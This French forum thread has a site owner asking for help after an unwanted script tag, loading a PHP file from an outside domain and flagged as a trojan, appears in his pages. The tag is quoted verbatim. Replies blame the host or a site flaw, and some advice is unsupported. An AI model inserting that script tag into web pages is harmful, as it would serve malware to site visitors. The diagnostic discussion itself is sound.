tout le monde !

J'ai un gros problème sur un site internet que j'avais créé.

Un script est ajouté automatiquement sur mes pages sans que je le veuille !!

Voici le script en question : <script
src=http://habs.diezel.bplaced.net/Assets/menu.php
></script>

ATTENTION, NE CLIQUEZ PAS SUR LE LIEN, je ne sais pas ou il mène (virus ou autre...).

La personne a qui j'ai fait le site m'a dit qu'elle avait reçu un message indiquant que c'était un cheval de troie qui pouvait nuir à l'ordinateur ou agir à son insu...

Est-ce que vous savez d'où ça pourrait provenir Comment je peux faire pour corriger ça

J'ai des pages en php, sans bases de données, sans requetes ou autres. En fait, ce sont uniquement des pages en HTML mais avec un (include:"menu.php";) afin d'éviter de retaper le menu sur toutes les pages...

d'avance pour votre aide !

Ton hébergeur est pourri ^^

deepblue !

Est-ce que ça vient obligatoirement de l'hébergeur ou est-ce que mon site a pu être piraté

Le site est hébergé chez Hosteur.

Est-ce que l'écrire complètement en HTML pourrait arrêter ce problème où ça n'a rien à voir

Ton hébergeur est infesté. Le virus peut venir d'un site hosté dessus ou d'une attaque ailleurs.

Le seul moyen est que l'hébergeur vire ce virus. Je sais que sur un ftp d'un contact, il y avait un virus qui ajoutait du code aussi, et j'avais développé un script qui toutes les X secondes était lancé, parsait tous les fichiers modifié par le virus (.html, .php, .htm, .js) et qui virait le code ajouté par ce virus.

Aussi, je viens de voir que lorsque je vais sur la page d'accueil [index.php] ou il n'y a pas du tout de code PHP, le script n'est pas ajouté.

Une fois sur les autres pages (ou le include:"menu.php" est ajouté), le script non souhaité est présent dans la page...

Est-ce que ça peut-être dû à mon include qui a été piraté ?? (j'écris toujours en texte include:"menu.php", il n'y a pas de variables qui pourrait être modifiées par un pirate). Enfin, je ne crois pas...

ton site est peut-être faillible. Une faille à peu permettre l'ajout d'un fichier qui permet de modifier tes pages à distance ou de façon automatique. C'est en ayant le code sous les yeux qu'on pourra le savoir

Je n'aime pas trop donner mes codes sur le net (j'ai peur des pirates )...

Toutes mes pages sont écrites uniquement en HTML. Il y a seulement le menu qui a été ajouté grâce à du PHP : <?php include:"menu.php"?> (En gros, j'ai mis tout mon PHP sur ce forum)

Est-ce qu'un pirate peut ajouter du code ou des fichiers avec une faille Html (s'il en existe) ?

non

OK merci pour ces réponses !

Je vais donc prendre contact avec l'hébergeur pour qu'il règle ce problème...